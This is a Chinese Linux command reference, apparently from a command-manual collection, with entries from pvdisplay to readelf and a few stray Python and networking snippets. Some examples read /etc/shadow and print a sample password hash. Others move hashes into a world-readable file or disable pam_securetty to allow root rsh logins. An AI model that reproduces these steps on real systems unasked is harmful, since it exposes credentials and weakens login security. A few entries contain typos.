pvdisplay(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-s:以短格式输出;
-m:显示PE到LE的映射。
```

</div>

!! 参数  

:<div>


物理卷:要显示的物理卷对应的设备文件名。

</div>

!! 实例  

:<div>


使用pvdisplay命令显示指定的物理卷的基本信息。在命令行中输入下面的命令:

```
[root@localhost ~]# pvdisplay /dev/sdb1    #显示物理卷基本信息
```

输出信息如下:

```
"/dev/sdb1" is a new physical volume of "101.94 MB"  
--- NEW Physical volume ---  
PV Name               /dev/sdb1  
....省略部分输出内容......  
PV UUID         FOXiS2-Ghaj-Z0Mf- cdVZ-pfpk- dP9p-ifIZXN
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>

!简介
:<div>
pvremove命令用于删除一个存在的物理卷。使用pvremove指令删除物理卷时,它将LVM分区上的物理卷信息删除,使其不再被视为一个物理卷。
</div>


!选项
:<div>

```
-d:调试模式;
-f:强制删除;
-y:对提问回答“yes”。
```
</div>

!示例
:<div>
 
使用pvremove指令删除物理卷/dev/sdb2。在命令行中输入下面的命令:

```bash
pvremove /dev/sdb2 #删除物理卷
```
</div>
!!简介
:<div>
pvs
===

输出物理卷信息报表

</div>

!! 补充说明

:<div>


"pvs命令" 用于输出格式化的物理卷信息报表。使用pvs命令仅能得到物理卷的概要信息,如果要得到更加详细的信息可以使用pvdisplay命令。

</div>

!! 语法  

:<div>


```
pvs(选项)(参数)
```

</div>

!! 选项  

:<div>


```
--noheadings:不输出标题头;
--nosuffix:不输出空间大小的单位。
```

</div>

!! 参数  

:<div>


物理卷:要显示报表的物理卷列表。

</div>

!! 实例  

:<div>


使用pvs命令显示系统中所有物理卷的信息报表。在命令行中输入下面的命令:

```
pvs                    #输出物理卷信息报表 
```

输出信息如下:

```
PV         VG     fmt  Attr PSize   PFree  
/dev/sdb1  vg1000 lvm2 --   100.00M 100.00M  
/dev/sdb2         lvm2 --   101.98M 101.98M
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
pvscan
===

扫描系统中所有硬盘的物理卷列表

</div>

!! 补充说明

:<div>


"pvscan命令" 会扫描系统中连接的所有硬盘,列出找到的物理卷列表。使用pvscan命令的`-n`选项可以显示硬盘中的不属于任何卷组的物理卷,这些物理卷是未被使用的。

</div>

!! 语法  

:<div>


```
pvscan(选项)
```

</div>

!! 选项  

:<div>


```
-d:调试模式;
-e:仅显示属于输出卷组的物理卷;
-n:仅显示不属于任何卷组的物理卷;
-s:短格式输出;
-u:显示UUID。
```

</div>

!! 实例  

:<div>


使用pvscan命令扫描当前系统中所有硬盘的物理卷,在命令行中输入下面的命令:

```
[root@localhost ~]# pvscan     #扫描所有硬盘上的物理卷 
```

输出信息如下:

```
PV /dev/sdb1         lvm2 [101.94 MB]  
PV /dev/sdb2         lvm2 [101.98 MB]  
Total: 2 [203.92 MB] / in use: 0 [0   ] / in no VG: 2 [203.92  
MB] 
```

说明:本例中,输出了两个物理卷,它们不属于任何卷组,是可被利用的物理卷。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
pwck
===

用来验证系统认证文件内容和格式的完整性

</div>

!! 补充说明

:<div>


"pwck命令" 用来验证系统认证文件`/etc/passwd`和`/etc/shadow`的内容和格式的完整性。

</div>

!! 语法  

:<div>


```
pwck(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-q:仅报告错误信息;
-s:以用户id排序文件“/etc/passwd”和“/etc/shadow”;
-r:只读方式运行指令。
```

</div>

!! 参数  

:<div>


*   密码文件:指定密码文件的路径;
*   影子文件:指定影子文件的路径。

</div>

!! 实例  

:<div>


```
pwck /etc/passwd
user 'lp': directory '/var/spool/lpd' does not exist
user 'news': directory '/var/spool/news' does not exist
user 'uucp': directory '/var/spool/uucp' does not exist
user 'www-data': directory '/var/www' does not exist
user 'list': directory '/var/list' does not exist
user 'irc': directory '/var/run/ircd' does not exist
user 'gnats': directory '/var/lib/gnats' does not exist
user 'nobody': directory '/nonexistent' does not exist
user 'syslog': directory '/home/syslog' does not exist
user 'couchdb': directory '/var/lib/couchdb' does not exist
user 'speech-dispatcher': directory '/var/run/speech-dispatcher' does not exist
user 'usbmux': directory '/home/usbmux' does not exist
user 'haldaemon': directory '/var/run/hald' does not exist
user 'pulse': directory '/var/run/pulse' does not exist
user 'saned': directory '/home/saned' does not exist
user 'hplip': directory '/var/run/hplip' does not exist
pwck:无改变
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
pwconv
===

用来开启用户的投影密码

</div>

!! 补充说明

:<div>


"pwconv命令" 用来开启用户的投影密码。Linux系统里的用户和群组密码,分别存放在名称为passwd和group的文件中, 这两个文件位于`/etc`目录下。因系统运作所需,任何人都得以读取它们,造成安全上的破绽。投影密码将文件内的密码改存在`/etc`目录下的shadow和gshadow文件内,只允许系统管理者读取,同时把原密码置换为"x"字符,有效的强化了系统的安全性。

</div>

!! 语法  

:<div>


```
pwconv
```

</div>

!! 实例  

:<div>


```
cat /etc/passwd | grep test
test:x:3001:3001::/home/test:/bin/sh
```

此时可以发现密码段是x

```
cat /etc/shadow | grep test
test:$6$nYOEWamm$bz07nlv/.RgJufb3FAqJJeULfwybzgxmrWqbk7O4vI0KsT6N.ujrh6dDIUcAJdfjksyuyAFDPIngZeD3cgcf.0:15022:0:99999:7:::
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
```
File: coreutils.info,  Node: pwd invocation,  Next: stty invocation,  Up: Working context

19.1 'pwd': Print working directory
===================================

'pwd' prints the name of the current directory.  Synopsis:

     pwd [OPTION]...

   The program accepts the following options.  Also see *note Common
options::.

'-L'
'--logical'
     If the contents of the environment variable 'PWD' provide an
     absolute name of the current directory with no '.' or '..'
     components, but possibly with symbolic links, then output those
     contents.  Otherwise, fall back to default '-P' handling.

'-P'
'--physical'
     Print a fully resolved name for the current directory.  That is,
     all components of the printed name will be actual directory
     names--none will be symbolic links.

   If '-L' and '-P' are both given, the last one takes precedence.  If
neither option is given, then this implementation uses '-P' as the
default unless the 'POSIXLY_CORRECT' environment variable is set.

   Due to shell aliases and built-in 'pwd' functions, using an unadorned
'pwd' interactively or in a script may get you different functionality
than that described here.  Invoke it via 'env' (i.e., 'env pwd ...') to
avoid interference from the shell.

   An exit status of zero indicates success, and a nonzero value
indicates failure.
```

EXP

```bash
[root@qs01 ~]# ln -s /etc ee
[root@qs01 ~]# cd ee
[root@qs01 ee]# pwd
/root/ee
[root@qs01 ee]# pwd -L
/root/ee
[root@qs01 ee]# pwd -P
/etc
[root@qs01 ee]# pwd -LP
/etc
[root@qs01 ee]# pwd -PL
/root/ee
```
!!简介
:<div>
pwunconv
===

用来关闭用户的投影密码

</div>

!! 补充说明

:<div>


"pwunconv命令" 与pwconv功能相反,用来关闭用户的投影密码。它会把密码从shadow文件内,重回存到passwd文件里。

</div>

!! 语法  

:<div>


```
pwunconv
```

</div>

!! 实例  

:<div>


```
pwunconv     //关闭影子密码
cat /etc/passwd | grep test     //发现密码已经在passwd文件中了
test:$6$nYOEWamm$bz07nlv/.RgJufb3FAqJJeULfwybzgxmrWqbk7O4vI0KsT6N.ujrh6dDIUcAJdfjksyuyAFDPIngZeD3cgcf.0:3001:3001::/home/test:/bin/sh

ls /etc/shadow     //查看影子文件,提示没有这个文件或目录
ls: cannot access /etc/shadow: No such file or directory
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* PYTHONPATH<pre>

```bash
#shell设置path
export PYTHONPATH=$PYTHONPATH:/root/test

#python 
python -c 'import sys; sys.path.append('/home/u1/test')'
```


```python
# 查看path
python -c 'import sys; print sys.path'
```
</pre>
```python
 # -*- coding:utf-8 -*-
import os;
import argparse;


def rename(path=r''):
        filelist=os.listdir(path)
        for f in filelist:
            old_path= os.path.join(path,f)
            new_path= get_new_path(old_path)
            os.rename(old_path,new_path)


#这里放修改规则
def get_new_path(old_path):
    new_fn=''
    print old_path
    return new_fn


def main():
    parser = argparse.ArgumentParser(description='批量修改文件名称.')
    parser.add_argument('-d',required = True, type=str, help='指定目标文件夹')
    args = parser.parse_args()

    if args.d:
        dir=args.d
        rename(dir)
    else:
        pass

main()
```
```python
def read_excel():
    ef=xlrd.open_workbook('pets5.xlsx')
    for efsn in ef.sheet_names():
        sheet=ef.sheet_by_name(efsn)
        cols=sheet.col_values(0)
        for c in cols:
            if c!='拼写':
                print c
        #for r in sheet.nrows:
            print sheet.cell(r,0).value.encode('utf-8')
```
!!简介
:<div>
quota
===

显示磁盘已使用的空间与限制

</div>

!! 补充说明

:<div>


"quota命令" 用于显示用户或者工作组的磁盘配额信息。输出信息包括磁盘使用和配额限制。

</div>

!! 语法  

:<div>


```
quota(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-g:列出群组的磁盘空间限制;
-q:简明列表,只列出超过限制的部分;
-u:列出用户的磁盘空间限制;
-v:显示该用户或群组,在所有挂入系统的存储设备的空间限制;
-V:显示版本信息。
```

</div>

!! 参数  

:<div>


用户或者工作组:指定要显示的用户或者工作组。

</div>

!! 实例  

:<div>


我们可以限制某一群组所能使用的最大磁盘配额,而且可以再限制某一使用者的最大磁盘配额 ,好比做一个收费的应用,vip可以得到空间更大一些。另外,以 Link 的方式,来使邮件可以作为限制的配额(更改`/var/spool/mail` 这个路径),不2,需要重新再规划一个硬盘!直接使用 Link 的方式指向 /home (或者其它已经做好的 quota 磁盘)就可以!这通常是用在原本规划不好,但是却又不想要更动原有主机架构的情况中!

要求:Linux 主机里面主要针对 quser1 及 quser2 两个使用者来进行磁盘配额, 且这两个使用者都是挂在 qgroup 组里面的。每个使用者总共有 50MB 的磁盘空间 (不考虑 inode) 限制!并且 soft limit 为 45 MB;而宽限时间设定为 1 天, 但是在一天之内必须要将多余的文件删除掉,否则将无法使用剩下的空间 ;gquota 这个组考虑最大限额,所以设定为 90 MB!(注意,这样设置的好处是富有弹性,好比现在的邮件服务,那么多用户,承诺给用户每人最大空间为数GB,然而人们不可能每人都会使用那么大的空间,所以邮件服务的总空间,实际上肯定不是注册客户数乘以数GB,否则这样得多大啊。)

```
[root@localhost ~]# groupadd qgroup
[root@localhost ~]# useradd -m -g qgroup quser1
[root@localhost ~]# useradd -m -g qgroup quser2
[root@localhost ~]# passwd quser1
[root@localhost ~]# passwd quser2
[root@localhost ~]# df     ===>  自己找一个合适的分区来做实验,这里用/disk2
Filesystem             1K-blocks        Used      Available   Use% Mounted on
/dev/hda1              5952252   3193292     2451720     57%     /
/dev/hdb1            28267608       77904   26730604       1%     /disk2
/dev/hda5              9492644     227252     8775412       3%     /disk1

[root@localhost ~]# vi /etc/fstab
LABEL=/             /                ext3      defaults                                     1 1
LABEL=/disk1    /disk1        ext3      defaults                                      1 2
LABEL=/disk2    /disk2        ext3      defaults,usrquota,grpquota       1 2  
/dev/hda3         swap         swap     defaults                                     0 0
```

注意多了`usrquota,grpquota`,在`defaults,usrquota,grpquota`之间都没有空格,务必正确书写。这样就算加入了 quota 的磁盘格式了!不过,由于真正的 quota 在读取的时候是读取`/etc/mtab`这个文件的,而该文件需要重新开机之后才能够以/etc/fstab 的新数据进行改写!所以这个时候可以选择:重新开机 (reboot)。

重新`remount filesystem`来驱动设定值。

```
[root@localhost ~]# umount /dev/hdb1
[root@localhost ~]# mount -a
[root@localhost ~]# grep '/disk2' /etc/mtab
/dev/hdb1 /disk2 ext3 rw,usrquota,grpquota 0 0
```

事实上,也可以利用 mount 的 remount 功能。

```
[root@localhost ~]# mount -o remount /disk2
```

这样就已经成功的将 filesystem 的 quota 功能加入。

扫瞄磁盘的使用者使用状况,并产生重要的 aquota.group 与 aquota.user:

```
[root@localhost ~]# quotacheck -avug
quotacheck: Scanning /dev/hdb1 [/disk2] done
quotacheck: Checked 3 directories and 4 files

[root@localhost ~]# ll /disk2
-rw-------  1 root root  6144 Sep  6 11:44 aquota.group
-rw-------  1 root root  6144 Sep  6 11:44 aquota.user
```

使用 quotacheck 就可以轻易的将所需要的数据给他输出了!但奇怪的是,在某些 Linux 版本中,不能够以 aquota.user(group) 来启动quota ,可能是因为旧版 quota 的关系, 所以就另外做了一个 link 文件按来欺骗 quota,这个动作非必要。(主要是学习这个思维很重要)

```
[root@localhost ~]# cd /disk2
[root@localhost ~]# ln -s aquota.user quota.user
[root@localhost ~]# ln -s aquota.group quota.group
```

启动 quota 的限额:

```
[root@localhost ~]# quotaon -avug
/dev/hdb1 [/disk2]: group quotas turned on
/dev/hdb1 [/disk2]: user quotas turned on    ===>  看到turned on,才是真的成功!
```

编辑使用者的可使用空间:

```
[root@localhost ~]# edquota -u quser1
Disk quotas for user quser1 (uid 502):
  Filesystem    blocks    soft    hard   inodes   soft   hard
  /dev/hdb1           0     45000    50000         0      0      0
[root@localhost ~]# edquota -p quser1 quser2      ===>  直接复制给quser2
```

接下来要来设定宽限时间,还是使用 edquota

```
[root@localhost ~]# edquota -t
Grace period before enforcing soft limits for users:
time units may be: days, hours, minutes, or seconds
  Filesystem             Block grace period     Inode grace period
  /dev/hdb1                     1days                  7days
```

使用`quota -v`来查询:

```
[root@localhost ~]# quota -vu quser1 quser2
Disk quotas for user quser1 (uid 502):
     Filesystem  blocks   quota      limit   grace   files   quota   limit   grace
      /dev/hdb1         0    45000    50000                   0       0       0
Disk quotas for user quser2 (uid 503):
     Filesystem  blocks   quota      limit   grace   files   quota   limit   grace
      /dev/hdb1         0    45000    50000                   0       0       0
```

注意,由于使用者尚未超过45 MB,所以 grace ( 宽限时间 ) 就不会出现。

编辑群组可使用的空间:

```
[root@localhost ~]# edquota -g qgroup
Disk quotas for group qgroup (gid 502):
  Filesystem     blocks       soft       hard    inodes   soft   hard
  /dev/hdb1            0      80000   90000           0      0      0

[root@localhost ~]# quota -vg qgroup
Disk quotas for group qgroup (gid 502):
     Filesystem   blocks    quota      limit      grace    files   quota   limit   grace
      /dev/hdb1         0     80000   90000                       0        0        0
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
quotacheck
===

检查磁盘的使用空间与限制

</div>

!! 补充说明

:<div>


"quotacheck命令" 通过扫描指定的文件系统,获取磁盘的使用情况,创建、检查和修复磁盘配额(quota)文件。执行quotacheck指令,扫描挂入系统的分区,并在各分区的文件系统根目录下产生quota.user和quota.group文件,设置用户和群组的磁盘空间限制。

</div>

!! 语法  

:<div>


```
quotacheck(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:扫描在/etc/fstab文件里,有加入quota设置的分区;
-d:详细显示指令执行过程,便于排错或了解程序执行的情形;
-g:扫描磁盘空间时,计算每个群组识别码所占用的目录和文件数目;
-R:排除根目录所在的分区;
-u:扫描磁盘空间时,计算每个用户识别码所占用的目录和文件数目;
-v:显示指令执行过程。
```

</div>

!! 参数  

:<div>


文件系统:指定要扫描的文件系统。

</div>

!! 实例  

:<div>


将所有的在`/etc/mtab`内,含有quota支持的partition进行扫描:

```
[root@linux ~]# quotacheck -avug
quotacheck: Scanning /dev/hdb1 [/disk2] done
quotacheck: Checked 3 directories and 4 files

```

强制扫描已挂载的filesystem:

```
[root@linux ~]# quotacheck -avug -m
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
quotaoff
===

关闭Linux内核中指定文件系统的磁盘配额功能

</div>

!! 补充说明

:<div>


"quotaoff命令" 用于关闭Linux内核中指定文件系统的磁盘配额功能。

</div>

!! 语法  

:<div>


```
quotaoff(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:关闭在/etc/fstab文件里,有加入quota设置的分区的空间限制;
-g:关闭群组的磁盘空间限制;
-u:关闭用户的磁盘空间限制;
-v:显示指令执行过程。
```

</div>

!! 参数  

:<div>


文件系统:指定要关闭磁盘配额功能的文件系统。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
quotaon
===

激活Linux内核中指定文件系统的磁盘配额功能

</div>

!! 补充说明

:<div>


"quotaon命令" 用于激活Linux内核中指定文件系统的磁盘配额功能。执行quotaon指令可开启用户和群组的才磅秒年空间限制,各分区的文件系统根目录必须有quota.user和quota.group配置文件。

</div>

!! 语法  

:<div>


```
quotaon(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:开启在/ect/fstab文件里,有加入quota设置的分区的空间限制;
-g:开启群组的磁盘空间限制;
-u:开启用户的磁盘空间限制;
-v:显示指令指令执行过程。
```

</div>

!! 参数  

:<div>


文件系统:指定要激活磁盘配额功能的文件系统。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>

''反向地址转换协议''(RARP:Reverse Address Resolution Protocol)
 
反向地址转换协议(RARP)允许局域网的物理机器从网关服务器的 ARP 表或者缓存上请求其 IP 地址。

网络管理员在局域网网关路由器里创建一个表以映射物理地址(MAC)和与其对应的 IP 地址。

当设置一台新的机器时,其 RARP 客户机程序需要向路由器上的 RARP 服务器请求相应的 IP 地址。

假设在路由表中已经设置了一个记录,RARP 服务器将会返回 IP 地址给机器,此机器就会存储起来以便日后使用。 

RARP 可以使用于以太网、光纤分布式数据接口及令牌环 LAN
!!简介
:<div>
rcconf
===

Debian Linux下的运行等级服务配置工具

</div>

!! 补充说明

:<div>


"rcconf命令" 是Debian Linux下的运行等级服务配置工具,用以设置在特定的运行等级下系统服务的启动配置。

</div>

!! 语法  

:<div>


```
rcconf(选项)
```

</div>

!! 选项  

:<div>


```
--help:打印帮助信息;
--dialog:使用对话命令显示菜单;
--notermcheck:不按照终端属性来设置窗口尺寸。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
rcp
===

使在两台Linux主机之间的文件复制操作更简单

</div>

!! 补充说明

:<div>


"rcp命令" 使在两台Linux主机之间的文件复制操作更简单。通过适当的配置,在两台Linux主机之间复制文件而无需输入密码,就像本地文件复制一样简单。

</div>

!! 语法  

:<div>


```
rcp(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-p:保留源文件或目录的属性,包括拥有者、所属群组、权限与时间;
-r:递归处理,将指定目录下的文件与子目录一并处理;
-x:加密两台Linux主机间传送的所有信息。
-D:指定远程服务器的端口号。
```

同名用户的主目录。如果没有给出远程用户名,就使用当前用户名。如果远程机上的路径包含特殊shell字符,需要用反斜线`\\`、双引号`""`或单引号`''`括起来,使所有的shell元字符都能被远程地解释。需要说明的是,rcp不提示输入口令,它通过rsh命令来执行拷贝。

directory 每个文件或目录参数既可以是远程文件名也可以是本地文件名。远程文件名具有如下形式`rname@rhost:path`,其中rname是远程用户名,rhost是远程计算机名,path是这个文件的路径。

</div>

!! 参数  

:<div>


源文件:指定要复制的源文件。源文件可以有多个。

</div>

!! 实例  

:<div>


 "rcp命令使用条件" 

如果系统中有`/etc/hosts`文件,系统管理员应确保该文件包含要与之进行通信的远程主机的项。配置过程:

只对root用户生效

1、在双方root用户根目录下建立rhosts文件,并将双方的hostname加进去。在此之前应在双方的`/etc/hosts`文件中加入对方的ip和hostname  
2、把rsh服务启动起来,redhat默认是不启动的。  
方法:用执行ntsysv命令,在rsh选项前用空格键选中,确定退出。然后执行`service xinetd restart`即可。  
3、到`/etc/pam.d/`目录下,把rsh文件中的`auth required /lib/security/pam_securetty.so`一行用“#”注释掉即可。(只有注释掉这一行,才能用root用户登录)

 "将当前目录下的 test1 复制到名为 webserver1 的远程系统:" 

```
rcp test1 webserver1:/home/root/test3
```

在这种情况下,test1 被复制到远程子目录 test3下,名称仍为 test1 。如果仅提供了远程主机名,rcp 将把 test1 复制到远程主目录下,名称仍为 test1 。

 "还可以在目的目录中包含文件名。例如,将文件复制到名为 webserver1的系统中:" 

```
rcp test1 webserver1:/home/root/test3
```

在这种情况下,将 test1 复制到远程目录root 下并将其命名为 test3。

 "从远程系统复制文件:要将远程系统中的文件复制到本地目录下:" 

```
rcp remote_hostname:remote_file local_fileEnter
```

 "将远程系统 webserver1中的 test2 复制到当前目录:" 

```
rcp webserver1:/home/root/test2 .Enter
```

`.`是“当前目录”的简写形式。在这种情况下,远程目录中的 test2 被复制到当前目录下,名称仍为 test2 。

如果希望用新名称复制文件,请提供目标文件名。如果希望将 test2 复制到本地系统中的其他目录下,请使用以下绝对或相对路径名:

```
rcp webserver1:/home/root/test2 otherdir/ Enter
```

或者,如果希望用其他文件名将文件复制到其他目录下:

```
rcp webserver1:/home/root/test2 otherdir/otherfile Enter
```

 "将目录复制到远程系统:" 

要将本地目录及其文件和子目录复制到远程系统,请同时使用 rcp 和 -r(递归)选项。

```
rcp -r local_dir remote_hostname:remote_dir Enter
```

如果当前目录下没有 local_dir,则除本地目录名外,还需要提供相对路径名(自当前目录开始)或绝对路径名(自 / 顶级目录开始)。另外,如果主目录下没有 remote_dir,则 remote_dir 将需要一个相对路径(自主目录开始)或绝对路径(自 / 开始)。

 "要将名为 work 的子目录完整地复制到 webserver1远程计算机中的主目录下名为 products 的目录,请键入以下内容:" 

```
rcp -r work webserver1:/home/root/products Enter
```

此命令在`webserver1:/home/root/products`下创建名为 work 的目录及其全部内容(假定`/home/root/products`已存在于 webserver1中)。

本示例假定用户处于包含 work 的本地目录下。否则,必须提供该目录的相对或绝对路径,如`/home/root/work`。

 "从远程系统复制目录:" 

要将远程目录及其所有文件和子目录复制到本地目录,请在以下语法中使用 rcp 和 -r(递归)选项。

```
rcp –r remote_hostname:remote_dir local_dir Enter
```

要将名为 work 的远程目录复制到当前目录,请键入以下内容:

```
rcp –r webserver1:/home/root/work .Enter
```

`.`表示当前目录。将在此目录下创建 work 目录。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
read
===

从键盘读取变量值

</div>

!! 补充说明

:<div>


"read命令" 从键盘读取变量的值,通常用在shell脚本中与用户进行交互的场合。该命令可以一次读取多个变量的值,变量和输入的值都需要使用空格隔开。在read命令后面,如果没有指定变量名,读取的数据将被自动赋值给特定的变量REPLY

</div>

!! 语法  

:<div>


```
read(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-p:指定读取值时的提示符;
-t:指定读取值时等待的时间(秒)。
```

</div>

!! 参数  

:<div>


变量:指定读取值的变量名。

</div>

!! 实例  

:<div>


下面的列表给出了read命令的常用方式:

```
read 1987name
从标准输入读取输入并赋值给变量1987name。
```

```
read first last
从标准输入读取输入到第一个空格或者回车,将输入的第一个单词放到变量first中,并将该行其他的输入放在变量last中。
```

```
read
从标准输入读取一行并赋值给特定变量REPLY。
```

```
read -a arrayname
把单词清单读入arrayname的数组里。
```

```
read -p "text"
打印提示(text),等待输入,并将输入存储在REPLY中。
```

```
read -r line
允许输入包含反斜杠。
```

```
read -t 3
指定读取等待时间为3秒。
```

```
read -n 2 var
从输入中读取两个字符并存入变量var,不需要按回车读取。
```

```
read -d ":" var
用定界符“:”结束输入行。
```

</div>

!! read命令示例  

:<div>


从标准输入读取输入并赋值给变量1987name。

```
#read 1987name        #等待读取输入,直到回车后表示输入完毕,并将输入赋值给变量answer
HelloWorld            #控制台输入Hello

#echo $1987name       #打印变量
HelloWorld
```

等待一组输入,每个单词之间使用空格隔开,直到回车结束,并分别将单词依次赋值给这三个读入变量。

```
#read one two three
1 2 3                   #在控制台输入1 2 3,它们之间用空格隔开。

#echo "one = $one, two = $two, three = $three"
one = 1, two = 2, three = 3
```

REPLY示例

```
#read                  #等待控制台输入,并将结果赋值给特定内置变量REPLY。
This is REPLY          #在控制台输入该行。 

#echo $REPLY           #打印输出特定内置变量REPLY,以确认是否被正确赋值。

This is REPLY
```

-p选项示例

```
#read -p "Enter your name: "            #输出文本提示,同时等待输入,并将结果赋值给REPLY。
Enter you name: stephen                 #在提示文本之后输入stephen

#echo $REPLY
stephen
```

等待控制台输入,并将输入信息视为数组,赋值给数组变量friends,输入信息用空格隔开数组的每个元素。

```
#read -a friends
Tim Tom Helen

#echo "They are ${friends[0]}, ${friends[1]} and ${friends[2]}."
They are Tim, Tom and Helen.
```

 "补充一个终端输入密码时候,不让密码显示出来的例子。" 

方法1:

```
#!/bin/bash
read -p "输入密码:" -s pwd
echo
echo password read, is "$pwd"
```

方法2:

```
#!/bin/bash
stty -echo
read -p "输入密码:" pwd
stty echo
echo
echo 输入完毕。
```

其中,选项`-echo`禁止将输出发送到终端,而选项`echo`则允许发送输出。

使用read命令从键盘读取变量值,并且将值赋给指定的变量,输入如下命令:

```
read v1 v3          #读取变量值
```

执行上面的指令以后,要求键入两个数据,如下所示:

```
Linux c+            #输入数据
```

完成之后,可以使用echo命令将指定的变量值输出查看,输入如下命令:

```
echo $v1 $v3       #输出变量的值
```

执行输出变量值的命令以后,将显示用户所输入的数据值,如下所示:

```
Linux c+           #输出变量值
```

注意:使用echo命令输出变量值时,必须在变量名前添加符号`$`。否则,echo将直接输出变量名。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
readelf
===

用于显示elf格式文件的信息

</div>

!! 补充说明

:<div>


"readelf命令" 用来显示一个或者多个elf格式的目标文件的信息,可以通过它的选项来控制显示哪些信息。这里的elf-file(s)就表示那些被检查的文件。可以支持32位,64位的elf格式文件,也支持包含elf文件的文档(这里一般指的是使用ar命令将一些elf文件打包之后生成的例如lib*.a之类的“静态库”文件)。 

这个程序和objdump提供的功能类似,但是它显示的信息更为具体,并且它不依赖BFD库(BFD库是一个GNU项目,它的目标就是希望通过一种统一的接口来处理不同的目标文件),所以即使BFD库有什么bug存在的话也不会影响到readelf程序。 

运行readelf的时候,除了-v和-H之外,其它的选项必须有一个被指定。 

</div>

!! ELF文件类型  

:<div>


 "种类型的ELF文件:" 

1.  可重定位文件:用户和其他目标文件一起创建可执行文件或者共享目标文件,例如lib*.a文件。 
2.  可执行文件:用于生成进程映像,载入内存执行,例如编译好的可执行文件a.out。 
3.  共享目标文件:用于和其他共享目标文件或者可重定位文件一起生成elf目标文件或者和执行文件一起创建进程映像,例如lib*.so文件。 

 "ELF文件作用:" 

ELF文件参与程序的连接(建立一个程序)和程序的执行(运行一个程序),所以可以从不同的角度来看待elf格式的文件: 

1.  如果用于编译和链接(可重定位文件),则编译器和链接器将把elf文件看作是节头表描述的节的集合,程序头表可选。 
2.  如果用于加载执行(可执行文件),则加载器则将把elf文件看作是程序头表描述的段的集合,一个段可能包含多个节,节头表可选。 
3.  如果是共享文件,则两者都含有。 

 "ELF文件总体组成:"  

elf文件头描述elf文件的总体信息。包括:系统相关,类型相关,加载相关,链接相关。 

*   系统相关表示:elf文件标识的魔术数,以及硬件和平台等相关信息,增加了elf文件的移植性,使交叉编译成为可能。 
*   类型相关就是前面说的那个类型。 
*   加载相关:包括程序头表相关信息。 
*   链接相关:节头表相关信息。 

</div>

!! 选项  

:<div>


```
-a 
--all 显示全部信息,等价于 -h -l -S -s -r -d -V -A -I. 

-h 
--file-header 显示elf文件开始的文件头信息. 

-l 
--program-headers  
--segments 显示程序头(段头)信息(如果有的话)。 

-S 
--section-headers  
--sections 显示节头信息(如果有的话)。 

-g 
--section-groups 显示节组信息(如果有的话)。 

-t 
--section-details 显示节的详细信息(-S的)。 

-s 
--syms        
--symbols 显示符号表段中的项(如果有的话)。 

-e 
--headers 显示全部头信息,等价于: -h -l -S 

-n 
--notes 显示note段(内核注释)的信息。 

-r 
--relocs 显示可重定位段的信息。 

-u 
--unwind 显示unwind段信息。当前只支持IA64 ELF的unwind段信息。 

-d 
--dynamic 显示动态段的信息。 

-V 
--version-info 显示版本段的信息。 

-A 
--arch-specific 显示CPU构架信息。 

-D 
--use-dynamic 使用动态段中的符号表显示符号,而不是使用符号段。 

-x <number or name> 
--hex-dump=<number or name> 以16进制方式显示指定段内内容。number指定段表中段的索引,或字符串指定文件中的段名。 

-w[liaprmfFsoR] or 
--debug-dump[=line,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=loc,=Ranges] 显示调试段中指定的内容。 

-I 
--histogram 显示符号的时候,显示bucket list长度的柱状图。 

-v 
--version 显示readelf的版本信息。 

-H 
--help 显示readelf所支持的命令行选项。 

-W 
--wide 宽行输出。 

@file 可以将选项集中到一个文件中,然后使用这个@file选项载入。 
```

</div>

!! 实例  

:<div>


先给出如下例子:

 "1.对于可执行文件形式的elf格式文件:" 

1)查看可执行程序的源代码如下: 

```
root@localhost [test]$ cat main.cpp 
#include <iostream> 
using std::cout; 
using std::endl; 
void my_print(); 

int main(int argc, char *argv[]) 
{ 
        my_print(); 
        cout<<"hello!"<<endl; 
        return 0; 
} 

void  my_print() 
{ 
        cout<<"print!"<<endl; 
} 
```

2)编译如下: 

```
[root@localhost test]$ g++ main.cpp -o main 
[root@localhost test]$ g++ -g main.cpp -o main.debug 
```

3)编译之后,查看生成的文件: 

```
[root@localhost test]$ ls -l 
总计 64 
-rwxr-xr-x 1 quietheart quietheart  6700 07-07 18:04 main 
-rw-r--r-- 1 quietheart quietheart   201 07-07 18:02 main.cpp 
-rwxr-xr-x 1 quietheart quietheart 38932 07-07 18:04 main.debug 
```

这里,main.debug是带有调试信息的可执行文件,main是一般的可执行文件。 

 "2.对于库文件形式的elf格式文件:" 

1)查看库的源代码如下: 

```
//myfile.h 
#ifndef __MYFILE_H 
#define __MYFILE_H 
void printInfo(); 
#endif 

//myfile.cpp 
#include "myfile.h" 
#include <iostream> 
using std::cout; 
using std::endl; 
void printInfo() 
{ 
    cout<<"hello"<<endl; 
} 
```

2)编译如下: 

```
[root@localhost test]$ g++ -c myfile.cpp 
[root@localhost test]$ g++ -shared -fPCI -o libmy.so myfile.o 
